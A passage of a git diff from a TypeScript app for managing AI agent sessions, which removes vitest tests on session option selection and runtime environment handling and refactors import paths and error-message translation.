-        status,
-        verification: 'verified',
-        transport: 'ready'
-      }
-    },
-    { suppressDisconnectToast: true }
-  )
-}
-afterEach(() => {
-  cleanup()
-  forgetStructuredSessionSelection(sessionId)
-  resetStructuredAgentLaunchRegistryForTests()
-  useAppStore.setState(initial, true)
-  vi.clearAllMocks()
-})
-
-it.each([false, true])(
-  'keeps launch, hook, drawn and captured operations through the real runtime transition (newer pick=%s)',
-  async (newer) => {
-    const intent: StructuredAgentSessionLaunchIntent = {
-      worktreeId: 'wt-lifetime',
-      executionHostId: 'runtime:paired-host',
-      target,
-      sessionId,
-      agent: 'codex',
-      seedOptions: seed,
-      params: {
-        agent: 'codex',
-        worktree: 'id:wt-lifetime',
-        envelope: {
-          sessionId,
-          clientOperationId: 'original-create',
-          payloadFingerprint: 'frozen',
-          expectedRuntimeFence: null
-        }
-      }
-    }
-    transport.intent.mockReturnValue(intent)
-    const create = Promise.withResolvers<{ sessionId: string; fence: number }>()
-    transport.create.mockReturnValue(create.promise)
-    const replies = [Promise.withResolvers<unknown>(), Promise.withResolvers<unknown>()]
-    const reads: ReturnType<typeof Promise.withResolvers<unknown>>[] = []
-    let sends = 0
-    transport.call.mockImplementation((_target, method) => {
-      if (method === 'agentSession.options') {
-        const read = Promise.withResolvers<unknown>()
-        reads.push(read)
-        return read.promise
-      }
-      if (method === 'agentSession.setOption') {
-        return replies[sends++].promise
-      }
-      return Promise.resolve({})
-    })
-    useAppStore.getState().setRuntimeEnvironments([environment(1)])
-    publish('runtime-A', 1)
-    const launch = startStructuredAgentLaunch('wt-lifetime', 'codex', {
-      requestId: 'lifetime',
-      executionHostId: 'runtime:paired-host'
-    })
-    const state = getStructuredLaunchStateBySessionId(sessionId)!
-    const owner = structuredLaunchSelectionController(state)
-    let original: ReturnType<typeof holdStructuredAgentSessionLaunchOption>
-    act(() => {
-      original = holdStructuredAgentSessionLaunchOption(sessionId, 'model', 'gpt-5.4')
-    })
-    const hook = renderHook(
-      ({ visible }) =>
-        useStructuredAgentSessionOptions({
-          agent: 'codex',
-          sessionId,
-          target,
-          fence: visible ? 7 : null,
-          launch: { kind: 'new', seedOptions: seed },
-          isVisible: false,
-          transportEnabled: true,
-          providerVisible: visible,
-          turnId: null,
-          unloadedTurnRevisions: undefined,
-          mutate: unavailableMutation
-        }),
-      { initialProps: { visible: false } }
-    )
-    const readHook = renderHook(() =>
-      useStructuredAgentSessionOptionState({
-        transportEnabled: true,
-        agent: 'codex',
-        optionCatalog: catalog,
-        identity: `codex:${sessionId}`,
-        fence: 1,
-        sessionId,
-        target,
-        newLaunch: true,
-        seedsModel: true,
-        providerVisible: true,
-        providerStarting: false,
-        hostOptionStamp: '',
-        readsBeforeStart: true,
-        turnId: null,
-        unloadedTurnRevisions: undefined
-      })
-    )
-    // The read starts one microtask after its attach, from the shared queue.
-    await waitFor(() => expect(reads).toHaveLength(1))
-    const capture = () => {
-      const source = hook.result.current.sendSource
-      const view = source.optionView(source.optionStateRef.current, seed)
-      return {
-        drawn: structuredAgentSessionModelId(view.record, 'own'),
-        selection: structuredAgentSessionMessageSelection(view)
-      }
-    }
-    let settled = false
-    void original!.then(() => {
-      settled = true
-    })
-    const retainedOwners = new Set([owner])
-    for (let generation = 2; generation <= (newer ? 100 : 10); generation++) {
-      act(() => publish(`runtime-${generation}`, generation))
-      retainedOwners.add(structuredSessionSelectionController(target, sessionId, 'codex'))
-      retainedOwners.add(structuredLaunchSelectionController(state))
-    }
-    expect(retainedOwners.size).toBe(1)
-    await act(async () => reads[0].resolve({ models: [], current: { model: 'stale-generation' } }))
-    expect(readHook.result.current.optionState.optionsAnswerPresent).not.toBe(true)
-    readHook.unmount()
-    reads.length = 0
-    expect(structuredSessionSelectionController(target, sessionId, 'codex')).toBe(owner)
-    expect(structuredLaunchSelectionController(state)).toBe(owner)
-    expect(settled).toBe(false)
-    expect(capture()).toMatchObject({ drawn: 'gpt-5.4', selection: { model: 'gpt-5.4' } })
-    let chosen = original!
-    if (newer) {
-      act(() => {
-        chosen = holdStructuredAgentSessionLaunchOption(sessionId, 'model', 'gpt-5.3-codex')!
-      })
-      await expect(original!).resolves.toEqual({ kind: 'superseded' })
-    }
-    const model = newer ? 'gpt-5.3-codex' : 'gpt-5.4'
-    expect(capture()).toMatchObject({ drawn: model, selection: { model } })
-    await act(async () => create.resolve({ sessionId, fence: 7 }))
-    expect(sends).toBe(1)
-    hook.rerender({ visible: true })
-    await waitFor(() => expect(reads).toHaveLength(1))
-    let attached: Promise<boolean> | undefined
-    if (newer) {
-      act(() => {
-        attached = hook.result.current.setStructuredOption('effort', 'high')
-      })
-      expect(sends).toBe(2)
-      expect(capture().selection).toMatchObject({ model, effort: 'high' })
-      await act(async () =>
-        replies[1].resolve({ ok: true, value: { options: { model, effort: 'high' } } })
-      )
-      await expect(attached).resolves.toBe(true)
-      expect(transport.remember.mock.calls[0][1]).toMatchObject({
-        picks: [{ modelId: model, optionId: 'effort', value: 'high' }]
-      })
-    }
-    // This query predates acceptance and cannot acknowledge its later terminal identity.
-    await act(async () => replies[0].resolve({ ok: true, value: { options: { model } } }))
-    await expect(chosen).resolves.toMatchObject({ kind: 'accepted' })
-    await launch.launchResult
-    const completed = owner.captureRead()
-    expect(completed).toHaveLength(newer ? 2 : 1)
-    expect(transport.remember).toHaveBeenCalledTimes(newer ? 2 : 1)
-    if (newer) {
-      expect(transport.remember.mock.calls[1][1]).toMatchObject({
-        picks: [
-          { modelId: model, optionId: 'model', value: model, adoptModelAsLaunchDefault: false }
-        ]
-      })
-    }
-    expect(hook.result.current.sendSource.optionStateRef.current.optionsAnswerPresent).not.toBe(
-      true
-    )
-    await act(async () => reads[0].resolve({ models: [], current: { model: 'other-client' } }))
-    await waitFor(() => expect(reads).toHaveLength(2))
-    expect(owner.captureRead()).toEqual(completed)
-    await act(async () => reads[1].resolve({ models: [], current: { model: 'other-client' } }))
-    await waitFor(() => expect(owner.captureRead()).toEqual([]))
-    expect(owner.overlay()).toEqual({})
-    expect(capture().drawn).toBe('other-client')
-  }
-)
-
-const environment = (revision: number): PublicKnownRuntimeEnvironment => ({
-  id: target.environmentId,
-  name: 'restored',
-  createdAt: 1,
-  updatedAt: revision,
-  pairingRevision: revision,
-  lastUsedAt: null,
-  runtimeId: null,
-  endpoints: [],
-  preferredEndpointId: 'loopback'
-})
-
-it.each(['present', 'initially-absent', 'already-hydrated'] as const)(
-  'initializes restored hook affinity only at the first authoritative publication (%s)',
-  async (mode) => {
-    useAppStore.getState().setRuntimeEnvironments([])
-    useAppStore.setState({
-      runtimeEnvironmentCatalogHydrated: mode === 'already-hydrated',
-      runtimeEnvironmentCatalogSettled: false
-    })
-    const list = vi
-      .fn()
-      .mockRejectedValueOnce(new Error('first list failed'))
-      .mockResolvedValue([environment(1)])
-    const previousApi = window.api
-    Object.defineProperty(window, 'api', {
-      value: { runtimeEnvironments: { list } },
-      configurable: true,
-      writable: true
-    })
-    const error = vi.spyOn(console, 'error').mockImplementation(() => {})
-    try {
-      if (mode !== 'already-hydrated') {
-        await useAppStore.getState().hydrateRuntimeEnvironmentStatuses()
-        expect(useAppStore.getState().runtimeEnvironmentCatalogHydrated).toBe(false)
-        expect(useAppStore.getState().runtimeEnvironmentCatalogSettled).toBe(true)
-        expect((await listRuntimeSessionHostsForStartup()).hostIds).toEqual(['runtime:paired-host'])
-      }
-      const restored = structuredAgentSessionTargetForTab(useAppStore.getState(), {
-        worktreeId: 'restored',
-        executionHostId: 'runtime:paired-host'
-      })!
-      transport.call.mockResolvedValue({ models: [], current: { model: 'gpt-5.5' } })
-      const hook = renderHook(
-        ({ visible }) =>
-          useStructuredAgentSessionOptionState({
-            transportEnabled: true,
-            agent: 'codex',
-            optionCatalog: catalog,
-            identity: `codex:${sessionId}`,
-            fence: 7,
-            sessionId,
-            target: restored,
-            newLaunch: false,
-            seedsModel: false,
-            providerVisible: visible,
-            providerStarting: false,
-            hostOptionStamp: '',
-            readsBeforeStart: false,
-            turnId: null,
-            unloadedTurnRevisions: undefined
-          }),
-        { initialProps: { visible: false } }
-      )
-      const owner = hook.result.current.controller
-      const held = owner.issue('model', 'gpt-5.4', null)
-      const unqualified = vi.fn()
-      await expect(owner.request(unqualified)).rejects.toThrow('unavailable')
-      expect(unqualified).not.toHaveBeenCalled()
-      act(() =>
-        useAppStore.getState().setRuntimeEnvironments(mode === 'present' ? [environment(1)] : [])
-      )
-      expect(hook.result.current.controller).toBe(owner)
-      if (mode === 'present') {
-        hook.rerender({ visible: true })
-        await waitFor(() =>
-          expect(transport.call).toHaveBeenCalledWith(
-            restored,
-            'agentSession.options',
-            expect.anything(),
-            { expectedEnvironmentPairingRevision: 1 }
-          )
-        )
-        expect(held.outcome).toBeUndefined()
-        act(() => useAppStore.getState().setRuntimeEnvironments([environment(2)]))
-        expect(held.outcome).toEqual({ kind: 'superseded' })
-        await expect(owner.request(async () => 'unsafe')).rejects.toThrow('retired')
-      } else {
-        act(() => useAppStore.getState().setRuntimeEnvironments([environment(2)]))
-        const send = vi.fn()
-        await expect(owner.request(send)).rejects.toThrow('unavailable')
-        expect(send).not.toHaveBeenCalled()
-      }
-    } finally {
-      error.mockRestore()
-      Object.defineProperty(window, 'api', {
-        value: previousApi,
-        configurable: true,
-        writable: true
-      })
-    }
-  }
-)
-
-it.each([false, true])(
-  'retains the answered desktop descriptor and capture across contact, not true end (pending=%s)',
-  async (pending) => {
-    resetHostModelCatalogSnapshotsForTests()
-    useAppStore.getState().setRuntimeEnvironments([environment(1)])
-    publish('answered-runtime-1', 1)
-    const answer: AgentSessionOptionsResult = {
-      models: ['gpt-5.5', 'gpt-5.4'].map((id) => ({
-        id,
-        label: id,
-        isDefault: false,
-        efforts: []
-      })),
-      current: {
-        model: 'gpt-5.5',
-        permissionMode: 'own',
-        reportedPermissionMode: 'full-access',
-        acceptedInputSources: { model: 'saved' }
-      }
-    }
-    const reads: ReturnType<typeof Promise.withResolvers<AgentSessionOptionsResult>>[] = []
-    const write = Promise.withResolvers<unknown>()
-    transport.call.mockImplementation((_target, method) => {
-      if (method === 'agentSession.setOption') {
-        return write.promise
-      }
-      if (method === 'agentSession.modelCatalog') {
-        return Promise.resolve({ origin: 'probe', models: answer.models, fetchedAt: 1 })
-      }
-      if (method !== 'agentSession.options') {
-        return new Promise(() => {})
-      }
-      const read = Promise.withResolvers<AgentSessionOptionsResult>()
-      reads.push(read)
-      return read.promise
-    })
-    const hook = renderHook(
-      ({ stamp, fence }) =>
-        useStructuredAgentSessionOptions({
-          agent: 'codex',
-          sessionId,
-          target,
-          fence,
-          transportEnabled: true,
-          isVisible: true,
-          providerVisible: true,
-          turnId: null,
-          unloadedTurnRevisions: undefined,
-          hostOptionStamp: stamp,
-          mutate: unavailableMutation
-        }),
-      { initialProps: { stamp: 'initial', fence: 1 } }
-    )
-    const owner = structuredSessionSelectionController(target, sessionId, 'codex')
-    await waitFor(() => expect(reads).toHaveLength(1))
-    await act(async () => reads[0].resolve(answer))
-    const descriptor = (id: string) =>
-      hook.result.current.optionSnapshot.find((row) => row.id === id)
-    const capture = () => {
-      const source = hook.result.current.sendSource
-      return structuredAgentSessionMessageSelection(
-        source.optionView(source.optionStateRef.current, undefined)
-      )
-    }
-    expect(descriptor('model')?.kind).toMatchObject({ currentValue: 'gpt-5.5' })
-    expect(descriptor('permissionMode')).toMatchObject({
-      settable: true
-    })
-    let picked: Promise<boolean> | undefined
-    if (pending) {
-      act(() => {
-        picked = hook.result.current.setStructuredOption('model', 'gpt-5.4')
-      })
-    }
-    hook.rerender({ stamp: 'old-read', fence: 1 })
-    await waitFor(() => expect(reads).toHaveLength(2))
-    act(() => publish('answered-runtime-2', 2))
-    await waitFor(() => expect(reads.length).toBeGreaterThanOrEqual(3))
-    expect(structuredSessionSelectionController(target, sessionId, 'codex')).toBe(owner)
-    const model = pending ? 'gpt-5.4' : 'gpt-5.5'
-    expect(descriptor('model')?.kind).toMatchObject({ currentValue: model })
-    expect(capture()).toEqual({ model })
-    expect(hook.result.current.sendSource.optionStateRef.current.acceptedInputSources).toEqual({
-      model: 'saved'
-    })
-    expect(descriptor('permissionMode')).toMatchObject({
-      settable: true
-    })
-    await act(async () =>
-      reads[1].resolve({
-        ...answer,
-        conversationCommands: ['compact'],
-        current: { model: 'stale' }
-      })
-    )
-    expect(hook.result.current.conversationCommands).toEqual([])
-    if (pending) {
-      await act(async () => write.resolve({ ok: true, value: { options: { model } } }))
-      await expect(picked).resolves.toBe(true)
-      expect(owner.captureRead()).toHaveLength(1)
-    }
-    await act(async () =>
-      reads[2].resolve({ ...answer, current: { model: 'gpt-5.5', acceptedInputSources: {} } })
-    )
-    if (pending) {
-      await waitFor(() => expect(reads).toHaveLength(4))
-      expect(owner.captureRead()).toHaveLength(1)
-    }
-    if (reads[3]) {
-      await act(async () =>
-        reads[3].resolve({ ...answer, current: { model: 'gpt-5.5', acceptedInputSources: {} } })
-      )
-    }
-    await waitFor(() =>
-      expect(hook.result.current.sendSource.optionStateRef.current.acceptedInputSources).toEqual({})
-    )
-    expect(owner.captureRead()).toEqual([])
-    expect(descriptor('model')?.kind).toMatchObject({ currentValue: 'gpt-5.5' })
-    expect(capture()).toEqual({})
-    act(() => forgetStructuredSessionSelection(sessionId, target))
-    hook.rerender({ stamp: 'new-owner', fence: 2 })
-    expect(structuredSessionSelectionController(target, sessionId, 'codex')).not.toBe(owner)
-    await waitFor(() =>
-      expect(hook.result.current.sendSource.optionStateRef.current.optionsAnswerPresent).not.toBe(
-        true
-      )
-    )
-    expect(capture()).toEqual({})
-    await expect(owner.request(async () => 'unsafe')).rejects.toThrow('retired')
-  }
-)
-
-it('releases the actual first-publication observer when its owner ends before publication', async () => {
-  useAppStore.getState().setRuntimeEnvironments([])
-  useAppStore.setState({ runtimeEnvironmentCatalogHydrated: false })
-  const released = vi.fn()
-  const restore = registerStructuredSelectionCatalogStore({
-    read: useAppStore.getState,
-    subscribe(listener) {
-      const stop = useAppStore.subscribe(listener)
-      return () => {
-        released()
-        stop()
-      }
-    }
-  })
-  try {
-    const owner = structuredSessionSelectionController(target, sessionId, 'codex')
-    const pick = owner.issue('model', 'gpt-5.4', null)
-    forgetStructuredSessionSelection(sessionId, target)
-    await expect(pick.result).resolves.toEqual({ kind: 'superseded' })
-    expect(released).toHaveBeenCalledTimes(1)
-    useAppStore.getState().setRuntimeEnvironments([environment(1)])
-    expect(released).toHaveBeenCalledTimes(1)
-    await expect(owner.request(async () => 'unsafe')).rejects.toThrow('retired')
-    const replacement = structuredSessionSelectionController(target, sessionId, 'codex')
-    expect(replacement).not.toBe(owner)
-    await expect(replacement.request(async (options) => options)).resolves.toEqual({
-      expectedEnvironmentPairingRevision: 1
-    })
-  } finally {
-    forgetStructuredSessionSelection(sessionId, target)
-    restore()
-  }
-})
diff --git a/src/renderer/src/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation.ts b/src/renderer/src/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation.ts
index c4d8c7c6a7f..a1ad993c76d 100644
--- a/src/renderer/src/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation.ts
+++ b/src/renderer/src/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation.ts
@@ -21,6 +21,7 @@ import {
 } from '@/components/tab-bar/tab-session-history-switch'
 import type { AiVaultResumeCommandSession } from '../../../../../../shared/ai-vault/resume/ai-vault-resume-startup'
 import { waitForPromiseWithSignal } from '../../../../../../shared/abort-signal-reason'
+import { translate } from '@/i18n/i18n'
 
 export type NativeChatCliForkSubject = Extract<TabSessionHistorySubject, { kind: 'chat' }>
 export type NativeChatCliForkPreparation = {
@@ -29,6 +30,15 @@ export type NativeChatCliForkPreparation = {
   sourceAgent?: AiVaultAgent
 }
 
+function sourceChatChangedError(): Error {
+  return new Error(
+    translate(
+      'auto.lib.nativeChatCliFork.sourceChanged',
+      'The source chat changed before preparation.'
+    )
+  )
+}
+
 export async function prepareNativeChatCliFork(
   subject: NativeChatCliForkSubject,
   options: { pairingRevision?: number; isCurrent: () => boolean; signal: AbortSignal }
@@ -36,7 +46,12 @@ export async function prepareNativeChatCliFork(
   const hostId = subject.request.executionHostScope
   const host = parseExecutionHostId(hostId)
   if (!host || (host.kind !== 'local' && host.kind !== 'runtime')) {
-    throw new Error('The conversation host is unavailable.')
+    throw new Error(
+      translate(
+        'auto.lib.nativeChatCliFork.hostUnavailable',
+        'The conversation host is unavailable.'
+      )
+    )
   }
   const target =
     host.kind === 'runtime'
@@ -45,14 +60,22 @@ export async function prepareNativeChatCliFork(
   const observe = async <T>(timeoutMs: number, run: (signal: AbortSignal) => Promise<T>) => {
     const deadline = new AbortController()
     const timer = setTimeout(
-      () => deadline.abort(new Error('Conversation preparation timed out.')),
+      () =>
+        deadline.abort(
+          new Error(
+            translate(
+              'auto.lib.nativeChatCliFork.preparationTimedOut',
+              'Conversation preparation timed out.'
+            )
+          )
+        ),
       timeoutMs
     )
     const signal = AbortSignal.any([options.signal, deadline.signal])
     try {
       signal.throwIfAborted()
       if (!options.isCurrent()) {
-        throw new Error('The source chat changed before preparation.')
+        throw sourceChatChangedError()
       }
       return await waitForPromiseWithSignal(run(signal), signal)
     } finally {
@@ -84,7 +107,7 @@ export async function prepareNativeChatCliFork(
       )
     ).capabilities?.includes(AI_VAULT_CHAT_FORK_SOURCE_CAPABILITY) === true
   if (!options.isCurrent()) {
-    throw new Error('The source chat changed before preparation.')
+    throw sourceChatChangedError()
   }
   if (modern) {
     return prepareAiVaultSessionForFork(
@@ -109,11 +132,16 @@ export async function prepareNativeChatCliFork(
     )
   )
   if (!options.isCurrent()) {
-    throw new Error('The source chat changed before preparation.')
+    throw sourceChatChangedError()
   }
   const row = findTabSessionHistoryRow(listed.sessions, subject)
   if (!row || row.executionHostId !== host.id || !isAiVaultSessionResumableContent(row)) {
-    throw new Error('This chat has no saved conversation to copy.')
+    throw new Error(
+      translate(
+        'auto.lib.nativeChatCliFork.noSavedConversation',
+        'This chat has no saved conversation to copy.'
+      )
+    )
   }
   return { ...(await prepareAiVaultSessionForFork(row, request)), sourceAgent: row.agent }
 }
diff --git a/src/renderer/src/lib/finished-agent-resume-resurrection.test.ts b/src/renderer/src/lib/agent-session/resume/finished-agent-resume-resurrection.test.ts
similarity index 91%
rename from src/renderer/src/lib/finished-agent-resume-resurrection.test.ts
rename to src/renderer/src/lib/agent-session/resume/finished-agent-resume-resurrection.test.ts
index 7279fc15b4b..51ab24ab234 100644
--- a/src/renderer/src/lib/finished-agent-resume-resurrection.test.ts
+++ b/src/renderer/src/lib/agent-session/resume/finished-agent-resume-resurrection.test.ts
@@ -1,9 +1,9 @@
 /** Completed local agents retain cold-restore identity (#9454) without posing as unfinished work or resurrecting after pane removal. This path does not use paired-runtime web-tab recovery. */
 import { afterEach, describe, expect, it } from 'vitest'
-import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import { useAppStore } from '@/store'
-import { activationTreatsNoteAsFinished } from './agent-session/resume/sleeping-agent-pane-ownership'
-import { resumeSleepingAgentSessionsForWorktree } from './agent-session/resume/resume-sleeping-agent-session'
+import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
+import { useAppStore } from '@/store/index'
+import { activationTreatsNoteAsFinished } from './sleeping-agent-pane-ownership'
+import { resumeSleepingAgentSessionsForWorktree } from './resume-sleeping-agent-session'
 
 const initialAppStoreState = useAppStore.getState()
 const LEAF_ID = '11111111-1111-4111-8111-111111111111'
diff --git a/src/renderer/src/lib/forget-refused-pane-resume.ts b/src/renderer/src/lib/agent-session/resume/forget-refused-pane-resume.ts
similarity index 84%
rename from src/renderer/src/lib/forget-refused-pane-resume.ts
rename to src/renderer/src/lib/agent-session/resume/forget-refused-pane-resume.ts
index 000e12a74e1..a520cada95e 100644
--- a/src/renderer/src/lib/forget-refused-pane-resume.ts
+++ b/src/renderer/src/lib/agent-session/resume/forget-refused-pane-resume.ts
@@ -1,10 +1,8 @@
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
+import { agentProviderSessionsEqual } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
+import type { AgentProviderSessionMetadata } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
 import type { AppState } from '@/store/types'
-import type { RefusedPaneResume } from '../../../shared/agent-status/contracts/agent-status-ipc-payload'
-import {
-  agentProviderSessionsEqual,
-  type AgentProviderSessionMetadata
-} from '../../../shared/agent-session/lifecycle/agent-session-resume'
+import type { RefusedPaneResume } from '../../../../../shared/agent-status/contracts/agent-status-ipc-payload'
 
 /** Whether a saved claim names the refused conversation. Only local claims can: the host judged
  *  its own chats, and a remote host's same id is a different conversation. */
diff --git a/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-platform.ts b/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-platform.ts
index 1a81a95eeff..1a92f1c5ee9 100644
--- a/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-platform.ts
+++ b/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-platform.ts
@@ -1,4 +1,4 @@
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { CLIENT_PLATFORM } from '@/lib/workspace/creation/new-workspace'
 import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import { getAiVaultResumeWorkspacePath } from '@/lib/agent-session/resume/history/ai-vault-resume-shell'
diff --git a/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-shell.ts b/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-shell.ts
index 58ad749f9d9..756576064a9 100644
--- a/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-shell.ts
+++ b/src/renderer/src/lib/agent-session/resume/history/ai-vault-resume-shell.ts
@@ -1,5 +1,4 @@
-import type { AppState } from '@/store/types'
-import { getLocalProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import '../../../workspace/ownership/folder-workspace-connection'
 import { findFolderWorkspaceCandidateRepos } from '../../../../../../shared/folder-workspaces/folder-workspace-execution-host'
 import { getAiVaultResumeWorkspaceExecutionHostId } from './ai-vault-resume-target'
@@ -7,16 +6,15 @@ import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host
 import { CLIENT_PLATFORM } from '@/lib/workspace/creation/new-workspace'
 import { resolveLocalWindowsTerminalShellOverrideForTab } from '../../../../../../shared/local-windows-terminal-runtime'
 import { resolveWindowsShellStartupFamily } from '../../../../../../shared/windows-terminal-shell'
-import {
-  resolveStartupShell,
-  type AgentStartupShell
-} from '../../../../../../shared/agent-launch/startup/tui-agent-startup-shell'
+import { resolveStartupShell } from '../../../../../../shared/agent-launch/startup/tui-agent-startup-shell'
+import type { AgentStartupShell } from '../../../../../../shared/agent-launch/startup/tui-agent-startup-shell'
 import { parseWorkspaceKey } from '../../../../../../shared/workspace-scope'
 import { parseWslUncPath } from '../../../../../../shared/wsl-paths'
 import {
   selectFolderWorkspaces,
   selectWorktreesByRepo
 } from '@/store/workspaces/catalog/workspace-record-fields'
+import type { AppState } from '@/store/types'
 
 type AiVaultResumeShellState = Pick<
   AppState,
diff --git a/src/renderer/src/lib/cli-conversation-exit-guidance.ts b/src/renderer/src/lib/agent-session/resume/history/cli-conversation-exit-guidance.ts
similarity index 76%
rename from src/renderer/src/lib/cli-conversation-exit-guidance.ts
rename to src/renderer/src/lib/agent-session/resume/history/cli-conversation-exit-guidance.ts
index d053c844594..64ce51b9ca5 100644
--- a/src/renderer/src/lib/cli-conversation-exit-guidance.ts
+++ b/src/renderer/src/lib/agent-session/resume/history/cli-conversation-exit-guidance.ts
@@ -1,6 +1,6 @@
 import { translate } from '@/i18n/i18n'
-import { agentLabel } from '../../../shared/ai-vault/session-display/ai-vault-session-filters'
-import type { CliConversationRowAgent } from '../../../shared/structured-agent-cli-conversation-adoption'
+import { agentLabel } from '../../../../../../shared/ai-vault/session-display/ai-vault-session-filters'
+import type { CliConversationRowAgent } from '../../../../../../shared/structured-agent-cli-conversation-adoption'
 
 export function cliConversationExitGuidance(
   agent: CliConversationRowAgent,
diff --git a/src/renderer/src/lib/launch-ai-vault-session-and-reveal.ts b/src/renderer/src/lib/agent-session/resume/history/launch-ai-vault-session-and-reveal.ts
similarity index 90%
rename from src/renderer/src/lib/launch-ai-vault-session-and-reveal.ts
rename to src/renderer/src/lib/agent-session/resume/history/launch-ai-vault-session-and-reveal.ts
index 490a657b30a..98cac66ddb3 100644
--- a/src/renderer/src/lib/launch-ai-vault-session-and-reveal.ts
+++ b/src/renderer/src/lib/agent-session/resume/history/launch-ai-vault-session-and-reveal.ts
@@ -1,11 +1,11 @@
 import { toast } from 'sonner'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { translate } from '@/i18n/i18n'
 import { launchAiVaultSessionInNewTab } from './launch-ai-vault-session'
 import { activateAiVaultResumeWorkspace } from '@/components/right-sidebar/ai-vault/session-actions/ai-vault-session-resume-in-chat-launch'
 import { notifyAiVaultSessionQueued } from '@/components/right-sidebar/ai-vault/session-actions/ai-vault-session-launch-feedback'
 import '@/components/right-sidebar/ai-vault/session-list/ai-vault-session-filters'
-import { agentLabel } from '../../../shared/ai-vault/session-display/ai-vault-session-filters'
+import { agentLabel } from '../../../../../../shared/ai-vault/session-display/ai-vault-session-filters'
 
 /** Resolves to the new terminal tab's id when this client created it, else null. */
 export async function launchAiVaultSessionAndReveal(
diff --git a/src/renderer/src/lib/launch-ai-vault-session.ts b/src/renderer/src/lib/agent-session/resume/history/launch-ai-vault-session.ts
similarity index 94%
rename from src/renderer/src/lib/launch-ai-vault-session.ts
rename to src/renderer/src/lib/agent-session/resume/history/launch-ai-vault-session.ts
index dd48256dd75..03ab483286f 100644
--- a/src/renderer/src/lib/launch-ai-vault-session.ts
+++ b/src/renderer/src/lib/agent-session/resume/history/launch-ai-vault-session.ts
@@ -1,15 +1,15 @@
 import { useAppStore } from '@/store/index'
 import { persistAgentLaunchTabOrder } from '@/lib/agent-session/launch/pane/launch-agent-tab-order'
 import '@/diagnostics/telemetry/telemetry'
-import { tuiAgentToAgentKind } from '../../../shared/agent-kind'
+import { tuiAgentToAgentKind } from '../../../../../../shared/agent-kind'
 import { runtimeEnvironmentIdOrLocalUnlessTwin } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import { createWebRuntimeSessionTerminal } from '@/runtime/hosted-terminals/creation/web-runtime-terminal-creation'
 import { isWebRuntimeSessionActive } from '@/runtime/web-session-tabs-sync/identity/web-runtime-session-environment'
-import type { AiVaultAgent } from '../../../shared/ai-vault/contracts/ai-vault-types'
+import type { AiVaultAgent } from '../../../../../../shared/ai-vault/contracts/ai-vault-types'
 import type {
   AgentProviderSessionMetadata,
   SleepingAgentLaunchConfig
-} from '../../../shared/agent-session/lifecycle/agent-session-resume'
+} from '../../../../../../shared/agent-session/lifecycle/agent-session-resume'
 import type { TabSplitDirection } from '@/store/slices/tabs/tabs-slice-contract'
 import type { WebRuntimeTerminalCreateOutcome } from '@/runtime/hosted-terminals/creation/terminal-create-contracts'
 
diff --git a/src/renderer/src/lib/host-mirror-handle-gap-wait.ts b/src/renderer/src/lib/agent-session/resume/host-mirror-handle-gap-wait.ts
similarity index 97%
rename from src/renderer/src/lib/host-mirror-handle-gap-wait.ts
rename to src/renderer/src/lib/agent-session/resume/host-mirror-handle-gap-wait.ts
index c3123c67c85..24a74c7b210 100644
--- a/src/renderer/src/lib/host-mirror-handle-gap-wait.ts
+++ b/src/renderer/src/lib/agent-session/resume/host-mirror-handle-gap-wait.ts
@@ -1,14 +1,13 @@
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { getRuntimeEnvironmentConnectionGeneration } from '@/store/slices/runtime-status/runtime-status-connection-generation'
 import { WEB_SESSION_TAB_RPC_TIMEOUT_MS } from '@/runtime/web-session-tabs-sync/actions/web-session-tab-rpc-timeout'
-import { parseRemoteRuntimePtyId } from '../../../shared/remote-runtime/remote-runtime-pty-id'
+import { parseRemoteRuntimePtyId } from '../../../../../shared/remote-runtime/remote-runtime-pty-id'
 import {
   isDisconnectedRuntimeHostState,
   runtimeHostConnectionStateForEntry
 } from '@/runtime/hosts/connections/runtime-host-connection-state'
 
 /** Published rows can precede PTY handles; missing handles remain unverifiable, never exited (#19735, ssh-execution-boundary.md). Replay on handle/retraction/deadline without authorizing local replacement. Reconnects/outages invalidate the budget; sustained churn may legitimately keep recovery parked. */
-export const HOST_MIRROR_HANDLE_GAP_DEADLINE_MS = WEB_SESSION_TAB_RPC_TIMEOUT_MS
 
 type HandleGapWaiter = {
   worktreeId: string
@@ -247,7 +246,7 @@ export function parkUntilHostMirrorHandleLands(
       recordExpiredWait(environmentId, key)
     }
     releaseWaiter(key)
-  }, HOST_MIRROR_HANDLE_GAP_DEADLINE_MS)
+  }, WEB_SESSION_TAB_RPC_TIMEOUT_MS)
   waitersByPane.set(key, {
     worktreeId,
     tabId,
diff --git a/src/renderer/src/lib/agent-session/resume/host-mirrored-pane-liveness.ts b/src/renderer/src/lib/agent-session/resume/host-mirrored-pane-liveness.ts
index fead3ee0b4c..4afe91c24cb 100644
--- a/src/renderer/src/lib/agent-session/resume/host-mirrored-pane-liveness.ts
+++ b/src/renderer/src/lib/agent-session/resume/host-mirrored-pane-liveness.ts
@@ -1,5 +1,3 @@
-import type { useAppStore } from '@/store/index'
-import type { SleepingAgentSessionRecord } from '../../../../../shared/agent-session/lifecycle/agent-session-resume'
